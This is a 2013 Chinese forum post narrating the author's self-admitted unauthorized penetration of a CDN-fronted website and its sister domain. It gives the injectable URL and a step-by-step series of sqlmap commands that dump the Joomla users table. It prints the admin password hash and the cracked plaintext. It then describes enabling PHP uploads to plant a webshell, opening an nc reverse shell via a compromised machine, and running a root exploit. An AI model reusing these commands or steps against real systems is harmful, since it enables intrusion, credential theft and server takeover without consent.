对某反向代理CDN网站的渗透思路

2013-05-09 23:11:48 32 5958 2
前言:
这是我转载某论坛我发的原创文章,感觉自己写的思路还不错,所以就无耻的发了。
这个网站的数据量挺大的,据说乌云上也公布了它不少的漏洞,所以我就无耻的检测了~!

这次渗透的目标是:http://www.aaa.com(由于这网站存放了大量的用户资
料,担心被Helen等人轮),打开后网站如图(1):


图(1)

在网站里随便走了走,发现基本上是静态页面,检测出首页是index.php,二话不说把
它扔到wwwscan里面跑,初步判断出服务器是nginx,如图(2)


图(2)

再看看版本号令我大失所望,玩黑的都知道nginx解析漏洞,不用进后台直接注册一个会员,在
上传头像的地方上传图片马即可秒拿webshell,但是那种漏洞已经成为过去了,影响版本为:
nginx 0.7.65以下(0.5.*, 0.6.*, 0.7.* )全版本系列和0.8.37(0.8.*)以下8系列,看了
一下目录,也没什么可利用的价值,好吧,我承认我菜~!

我最初的判断是:某个CMS+DIY,也就是说大体模板是网上的开源或收费的CMS,买下载下来
后再是自己改造了一下源代码什么的,但是我始终查不出是哪个CMS,更别说用什么0day了,
于是果断旁注,拿出黑阔必备的御剑1.5,查询旁站,这下我就傻了,如图(3)


图(3)

日,这不是传说中的反向代理吗,我猜测应该是nginx搞的鬼,这反向代理服务器,为了进一步证
实是的想法,我打开ping.chinaz.com用多地点ping功能看了一下,如图(4)


图(4)

呵呵~!这是咋了,各个地方Ping到的IP都不一样,结合御剑的结果判断出了一定是做了CDN的结果,
这里简单的科普一下下,CDN既内容发布网络,为了使网站内容传输更加快捷,通常在网络中布置了多
个CDN服务器(分布式存储),这些CDN离用户仅有一跳之隔,大大提高了网站的访问速度及,负载均
衡。CDN服务器里的缓存服务及内容提供商的源服务,所以我们访问网站时连接的是某个离自己最近的
CDN服务器,所以我们ping到的服务器IP就是此CDN服务器的IP,所以在不同的地方ping出来的IP都
不一样,这样也完美的的隐藏了真实服务器的IP地址,当你旁注的时候就会无法找到正真的旁站,如图(5)图(6)

在本机ping:


图(5)

在肉鸡上ping

图(6)


可以发现解析出来的IP不一样,所以他们访问的CDN服务器就不一样,于是果断放弃了旁注与C段。在CDN
服务器中发现了这个链接http://ad.aaa.com/www/admin/index.php,发现是某个控制面板的登陆平台,
试了试几个弱口令无果。旁注与C段的思路都断了,很多人到这一步一定会果断放弃的,但是我觉得还有思路,
可以走下去,我又回到主页逛一逛,看到有注册的东东,顺便注册了一个用户,注册完毕后直接登录,直接跳
转到了一个二级域名的页面:http://my.aaa.com  ,想到这里,突然来了思路,所噶,目标锁定了网站的所
有二级域名,打开http://who.is来查询域名信息,发现了网站管理员的一些信息,如图(7)图(8)


图(7)


图(8)

发现没什么有用的信息,接着祭出神器:nslookup,看看有木有DNS域泄露,先打开Windows下的nslookup看
能否列二级域名,这里不废话了,直接上图,如图(9)图(10)


图(9)


图(10)

呵呵~!又遇到问题了,无法ls出2级域名,看来服务器做了什么限制的,求大牛指教。后来上了BT5的dnswalk也
无法暴力破解,如图(11)


图(11)

算了,只能从网站环境入手,又在网站主站周边逛一逛,一边动手测试所有的能猜解到的二级域名,感觉都是用的同一
程序,基本上不存在啥注入,上传之类的高危漏洞,列出来的就是些什么bbs,ask,new等等这些域名,也木有什么
利用价值,就这样还花了我不少时间,最近为了大赛又被老师们逼着学LINUX,没办法,只能拿出空余时间检测了,这
几天似乎都没什么进展,突然在某一天,我发现某个二级域名的页面,有这个网站服务的联系电话123456(代替),
我想这会不会是网站的域名呢,我试了试,我日,果然不错,打开后如图所示,图(12)


图(12)


看样子好像是主站旗下的什么网站,大致浏览了一遍,居然发现item参数存在数字型注入,注入连接为:
http://www.123456.com/ component/maintain/?view=maintain&item=44,哎,这网站百密必有一疏,
用了“’”、“and  1=1”、“and 1=2”测试了一下证实了我的想法,如图(13)(14)(15)


图(13)


图(14)


图(15)

这里证实了有注入漏洞,于是果断扔到SQLMAP里面跑了起来,这里顺便普及一下SQLMAP常用的注入命令,
首先判断地址变量是否存在注入,在输入命令前要将当前目录切换到SQLMAP的根目录下,下面上命令吧:
./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -p "item" ,
如图(16)迅速得出了结果:


图(16)

可以看出SQLMAP通过注入返回了网站的基本环境,见图最下方,PHP版本(5.2.6),Apache版本(2.2.9),
MYSQL版本(5),我记得主站是nginx,算了,这里先不去管他,继续注入:
./sqlm   ap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 –dbs,
直接爆数据库,如图(17)


图(17)

一下子看到了令人兴奋的mysql数据库名,难道是root用户连接数据库,于是用命令:
./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 –users
看看数据库所有用户,如图(18)


图(18)

在用命令:./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 --current-user,
查询当前用户,才发现数据库权限一切都是浮云,如图(19)


图(19)

悲催的站库分离,看来服务器处于内网中,好吧,还是老老实实的爆网站数据库吧,上命令:
./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 --current-db,
爆出了当前网站的数据库,如图(20)


图(20)

可以发现当前数据库为“service”锁定这个数据库继续前进,下面就不多说了直接上图,爆数据库表:
./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 --tables -D "service",
如图(21)


图(21)

表很多,看到前面统一的前缀,判断是某个CMS吧,但还是无法正确判断,继续上命令:
./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 --columns -T "jos_users" -D "service"
(看到user,admin,manage这类的都可能是存放管理员的账号密码的表),爆出列名,如图(22)


图(22)

看到这里我想大家都该明白了吧,OK,上命令:./sqlmap.py -u "http://www.123456.com/component/maintain/?view=maintain&item=45" -v 1 –dump –C “id,name,username,password” -T "jos_users" -D "service",直接爆出管理员的用户名及密码,admin|(b5ec2b20d07a790cbb060addb530232c:VZDjuyBcJsZNiUM7az6VxsgaWkxqZOwQ),
看到眼前这个加密方式,凭我初步的判断,认为是joomla的加密,于是果断访问/administrators:果断出现了后台页面,于是果断将上面的密文拿去cmd5破解,
人品极好,破解出了明文密码mitaian(Joomla最安全的地方加密信息做得不错),如图(23)


图(23)

二话不说,直接杀了进去,如图(24)

图(24)

下面就好办多了,直接“网站”——》“全局设置”——》“系统”——》“媒体设置”,在合法扩展名那里添加php后缀,最后保存设置,
回到控制面板,进入“媒体管理”,发现有几个前辈的马儿,不管了,直接上php马,如图(25)第一次还上传不上去,后来发现在
“媒体设置”那里要把“限制上传”改为“否”,OK。


图(25)

看了看文件绝对路径,于是访问shell地址,感觉还是菜刀好用些,就果断一句话了,迅速得到webshell,如图(26)


图(26)

看了看服务器的环境,处于内网中,如图(27)


图(27)

我就迫不及待的看了看apache配置文件,看能不能发现主站的信息,下面发现的事情让我舒服多了,不废话了,上图,如图(28)

图(28)


果断跳转目录,发现木有写权限,算了吧,上大马,再在一台外网肉鸡里运行nc监听12345端口反弹shell到本地,接着就是下载
exp到目标服务器,运行exp,OK,直接root了,如图(29)


图(29)

下面当然是寻找nginx的配置信息了,后面就是各种邪恶吧~!!!!!!
就是这么简简单单的一次cdn网站渗透之旅,没什么新技术,忘大牛勿喷~!!!!!

关于作者

0xTback15篇文章555篇回复

评论32次

要评论?请先  登录  或  注册